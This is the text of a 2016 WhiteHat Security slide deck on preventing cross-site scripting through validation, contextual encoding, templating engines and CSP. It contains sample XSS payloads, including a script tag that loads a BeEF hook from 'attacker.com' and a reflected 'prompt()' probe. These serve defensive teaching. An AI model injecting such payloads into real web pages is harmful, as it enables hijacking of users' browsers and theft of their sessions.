Secure Coding Practices:

Avoid Cross-Site Scripting

Attacks
Featuring Zach Jones
Sr. Manager TRC Static Analysis

2016 WhiteHat Security, Inc. 1

Static Analysis at WhiteHat

Over 250,000,000 lines of code assessed daily

5 Languages (Java, C#, Objective-C, PHP, JavaScript)

Over 5,000 vulnerabilities reviewed by TRC weekly
Over 15,000 unique attack vectors reviewed by TRC weekly
Security research on over 150 classes per month

Team members in 3 time-zones on two continents.

2016 WhiteHat Security, Inc. 2

Agenda

Know the attack

The expanding XSS universe
Fighting the expansion

Know your tools, fill the gaps

Avoid difficult to defend patterns

QA

2016 WhiteHat Security, Inc. 3

Cross Site Scripting know the attack

2016 WhiteHat Security, Inc. 4

 Web Application Security Consortium:

Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-

supplied code into a user's browser instance. A browser instance can be a
standard web browser client, or a browser object embedded in a software
product.

When an attacker gets a user's browser to execute his/her code, the code will
run within the security context (or zone) of the hosting web site. With this level of
privilege, the code has the ability to read, modify and transmit any sensitive data
accessible by the browser. A Cross-site Scripted user could have his/her
account hijacked (cookie theft), their browser redirected to another location, or
possibly shown fraudulent content delivered by the web site they are visiting.

2016 WhiteHat Security, Inc. 5

 OWASP:

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious

scripts are injected into otherwise benign and trusted web sites. XSS attacks
occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user. Flaws that
allow these attacks to succeed are quite widespread and occur anywhere a web
application uses input from a user within the output it generates without
validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The
end users browser has no way to know that the script should not be trusted,
and will execute the script. Because it thinks the script came from a trusted
source, the malicious script can access any cookies, session tokens, or other
sensitive information retained by the browser and used with that site.

2016 WhiteHat Security, Inc. 6

 Illustration from WCSD SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 7

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

<script src=http://attacker.com/beefhook.js></script>
SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 8

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 9

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 10

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 11

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 12

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 13

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 14

 SERVICE BUS

PAYMENTS ANALYTICS
MESSAGE QUEUE

SERVICE GATEWAY
CRM CART

REST API PRESENTATION

FRONTEND

HACKERS USERS

2016 WhiteHat Security, Inc. 15

One line vulnerabilities can illustrate context

2016 WhiteHat Security, Inc. 16

So many landings, I needed more slides

2016 WhiteHat Security, Inc. 17

Some Web Apps Look a Bit Different

2016 WhiteHat Security, Inc. 18

It seems so easy.
Robust input validation & contextual output encoding prevents
cross site scripting.

Validate all inputs.

HTTP Requests / Responses
Database
Filesystem

Build or borrow an output utility that allows developers to easily

output encode.

2016 WhiteHat Security, Inc. 19

It isnt easy
Barriers to implementation
Typical application will have hundreds to thousands of places where input is
placed into responses.
How do you find them?
Developer must be context aware.
Developer must know what is and isnt input? Encode everything?
Everywhere?
Training?
How do you enforce use?
Edge cases, oh the edge cases

2016 WhiteHat Security, Inc. 20

The expanding XSS universe

2016 WhiteHat Security, Inc. 21

Expanding Client Side

Client side data persistence

Client to client communication

Server to client push

communications

Frame to frame communication

APIs everywhere

2016 WhiteHat Security, Inc. 22

Back in My Day

Reflected XSS - user input is immediately returned by a web

application in an error message, search result, or any other response
that includes some or all of the input provided by the user as part of
the request.

Stored XSS - user input is stored on the target server, such as in a

database and later returned.

DOM XSS - a form of XSS where the entire tainted data flow from
source to sink takes place in the browser.

2016 WhiteHat Security, Inc. 23

We have a 2x2 matrix now

2016 WhiteHat Security, Inc. 24

Expanding Architecture

The monolith is dying.

Todays applications are

compositions of many other
applications.

User input can be stored,

retrieved, and displayed in more
places than ever.

Applications are changing faster

than ever.
2016 WhiteHat Security, Inc. 25
 2016 WhiteHat Security, Inc. 26
Fighting the expansion

2016 WhiteHat Security, Inc. 27

Browsers have been helping
Content Security Policy!

Built in protections looking for input being reflected in responses, blocks

simple attempts.
?q=<script>prompt()</script> works less and less often.

Improvement in encodings returned from different DOM calls.

Safer DOM manipulation options.

2016 WhiteHat Security, Inc. 28

 Frameworks have been helping
Technology HTML ATTR CSS JS URI NESTED

JavaEE N N N N N N
Thymeleaf Y Y N N N N
ERB Y Y N N N N
Razor Y Y N Y Y N
AngularJS Y Y Y Y Y N
ReactJS Y Y Y Y Y N
GO Template Y Y Y Y Y Y

2016 WhiteHat Security, Inc. 29

Know your tools, fill the gaps

Evaluate and leverage mature templating engine

Educate team on correct patterns and practices of usage
Be aware of security relevant encoding exceptions (ex: encode = false)

What if Im not currently using a templating engine?

Then pick one and move towards it
Leverage WAFs / RASP for legacy apps / duration migration
Patch with an encoding utility.

Understand templating gaps and address them

Know what contextual encoders are missing
Integrate into the framework if possible, otherwise make helpers available

2016 WhiteHat Security, Inc. 30

Addressing them
How does our organization prevent cross site scripting?

No auto-encoding technology is 100% immune from XSS

Affected by scale

Affected by complexity

Affected by technology stacks

Is an organization wide solution possible?
Are there certain technologies in use known to have less protection?

Build an UsGoat, Fix it, distribute.

2016 WhiteHat Security, Inc. 31
UsGoating -Understand Encoding Gaps
Model Controller

View

2016 WhiteHat Security, Inc. 32

 Can you build this grid for your apps?
App HTML ATTR CSS JS URI NESTED

UserPortal N N N N N N
Administration Y Y N N N N
Data Import Y Y N N N N
Y Y N Y Y N
Y Y Y Y Y N
Y Y Y Y Y N
Y Y Y Y Y Y

2016 WhiteHat Security, Inc. 33

Inspiration

Team at Etsy Encode everything as HTMLand much more

https://www.slideshare.net/zanelackey/building-a-modern-security-engineering-organization

Team at Yahoo - demonstrated an approach for transforming a

client side templating engine that was already used widely in their
organization.
https://www.slideshare.net/adonatwork/efficient-contextsensitive-output-escaping-for-javascript-template-engines
https://www.npmjs.com/package/secure-handlebars

2016 WhiteHat Security, Inc.

3 34
content-security-policy.com

2016 WhiteHat Security, Inc. 35

Avoid Difficult to Defend Patterns
Or at least know the dangers of the fire swap when you are walking
through the fire swamp

2016 WhiteHat Security, Inc. 36

User supplied, dynamic values for
hot attributes
src=, href=, refresh=, etc

onclick=, onmouseover=. etc

2016 WhiteHat Security, Inc. 37

Generating JavaScript
If client code needs user input it should read it or fetch it directly,
having the server edit JavaScript code with user input is one of the
hardest contexts to defend.

2016 WhiteHat Security, Inc. 38

Evaluating remote callbacks
Callback patterns can be powerful, but in practice often end in a
prompt() alert(1) if anyone looks hard enough.

2016 WhiteHat Security, Inc. 39

Active Document Management
Prefer individual inputs, if the business requirement requires
processing or displaying common document types, robust manual
testing is needed.

2016 WhiteHat Security, Inc. 40

Off Domain Scripts
It is very hard to prevent cross site scripting when you design it in.

2016 WhiteHat Security, Inc. 41

Q&A
We will gather unanswered questions from chat, and file them for
follow-up via our Blog:

https://www.whitehatsec.com/blog/

2016 WhiteHat Security, Inc. 42

Thank you
Zach Jones

2016 WhiteHat Security, Inc. 43